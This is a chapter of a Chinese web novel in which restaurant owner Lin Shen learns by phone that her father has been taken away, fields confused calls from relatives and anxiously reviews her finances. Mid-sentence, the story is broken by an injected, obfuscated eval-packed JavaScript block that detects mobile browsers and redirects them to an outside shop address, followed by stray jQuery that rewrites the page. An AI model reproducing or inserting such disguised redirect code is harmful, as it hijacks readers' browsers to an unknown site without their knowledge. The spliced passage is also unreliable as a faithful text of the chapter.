第二天下午三点，店里没什么客人。这个时间总是最安静的——午餐高峰过去了，晚餐高峰还没开始。服务员靠在角落玩手机，厨房有人在处理第二天的备货。冰箱压缩机发出低低的嗡鸣声，像某种永远不会停止的背景音。林深坐在收银台后面核对采购单——三文鱼还剩多少，鳗鱼够不够，甜虾要不要补。这些事情她已经做了一年多，熟练得像本能。昨晚那句“关店吧”像一块石头沉进水里，激起一点波纹，然后又恢复平静，至少表面上是这样。
手机忽然响了。母亲。林深愣了一下，这个时间母亲很少打电话。她接起来：“妈。”电话那头很吵——有人说话，有人走动，还有门开门关的声音，像很多人聚在一起。林深皱了皱眉：“怎么了？”电话那边沉默了两秒，然后传来母亲的声音，很轻，轻得有些不真实：“你爸出事了。”
林深手里的笔停住：“什么？”
“你爸出事了。”
空气忽然安静下来。冰箱还在响，厨房还有人在说话，门口甚至刚进来一个客人，可那些声音突然变得很远，像隔着一层玻璃。
“什么意思？”林深问，“什么叫出事了？”
电话那头沉默了一会儿：“被带走了。”
林深没说话。她脑子里空白了一瞬，像没听懂，或者说听懂了但不愿意理解。
“什么时候？”
“今天。”
“为什么？”
“还不知道。”
母亲的声音明显疲惫了很多，不像平时。平时的她说话很利落，很少犹豫，可今天一直在停顿，像每一句话都要想很久。
“人呢？”
“联系不上。”
“谁说的？”
“家里刚知道。”
林深握着手机，忽然不知道该问什么。为什么，严重吗，什么时候回来，有没有事——这些问题挤在一起，最后一个都没问出来。电话那边有人在喊母亲，她应了一声，然后对林深说：“你先别回来。”
“为什么？”
“回来也没用。”
林深忽然笑了一下，笑得很轻。母亲大概也知道这句话没什么说服力，因为她自己都不相信。又过了一会儿，电话挂断了。
林深坐在那里没有动。服务员从旁边经过：“深姐。”“嗯？”“这个单子签一下。”林深低头接过笔签字，动作和平时一样，可她连上面写的什么都没看清。服务员拿着单子走了，店里继续运转，像什么都没发生。
下午四点，电话开始一个接一个响。姨妈、舅舅、堂哥、很久没联系过的亲戚，甚至还有一些她根本想不起是谁的人。每个人都知道一点消息，每个人说得都不一样——有人说没事，有人说情况不太好，有人让她别乱打听，有人让她赶紧回去，还有人问她知不知道发生了什么。林深不知道。所有人都在问，所有人都不知道。她忽然发现，原来成年人遇到大事的时候并不会突然变得无所不能，大家一样慌，一样迷茫，一样在等消息。
傍晚六点，陆沉从外面回来，看见她坐在收银台后面发呆。
“怎么了？”
林深抬起头看了他两秒：“我爸出事了。”
陆沉愣住：“什么意思？”
“不知道。”
“什么叫不知道？”
“不知道就是不知道。”
她第一次觉得这三个字这么讨厌。陆沉站在那里想问什么，最后也没问，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691744|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
因为他发现林深真的不知道。
晚餐时间开始了。客人陆续进店，服务员忙起来，厨房忙起来，点单机不停响。林深站在收银台后面机械地结账、收钱、找零、打印小票。一切都和平时一样，可她总觉得哪里不一样了。
晚上九点，她看见门口那张桌子，忽然想起前几天父亲坐在那里。什么都没吃，就一直看——看灯，看墙，看吧台，看来福。最后走的时候还说：“有空回家。”
林深低下头继续核账，她忽然有点后悔，后悔那天没陪他多坐一会儿，后悔他说话的时候自己一直在忙，后悔连张合影都没拍。可这种念头刚冒出来又被她压了下去，因为她不知道自己在后悔什么——父亲只是出事了，又不是不回来了。她这样告诉自己，一遍又一遍。
晚上十一点，店里重新安静下来。客人走光了，服务员下班，陆沉坐在吧台喝酒，来福趴在脚边睡觉。林深拿起手机打开银行APP，屏幕亮起来，账户余额跳出来。她盯着看了很久，然后点开另一张卡，再点开信用卡，再点开账单。数字一个接一个出现——房租、工资、货款、水电、采购。她以前也看这些，但从来没有今天这么认真。因为今天开始，有些东西不一样了。她说不清哪里不一样，只是忽然发现，原来很多她以为会一直在那里的人和事，并不会一直在那里。
店里很安静，陆沉在抽烟，来福翻了个身露出肚皮。林深放下手机看向收银台后面那面墙，墙上还挂着开业时拍的照片，照片里的每个人都在笑。那时候谁也不知道后面会发生什么。她看了一会儿，然后收回视线，低头继续算账。外面的路灯亮着，店里的灯也亮着，和昨天没什么区别。可她隐约觉得，有什么东西已经开始慢慢改变了。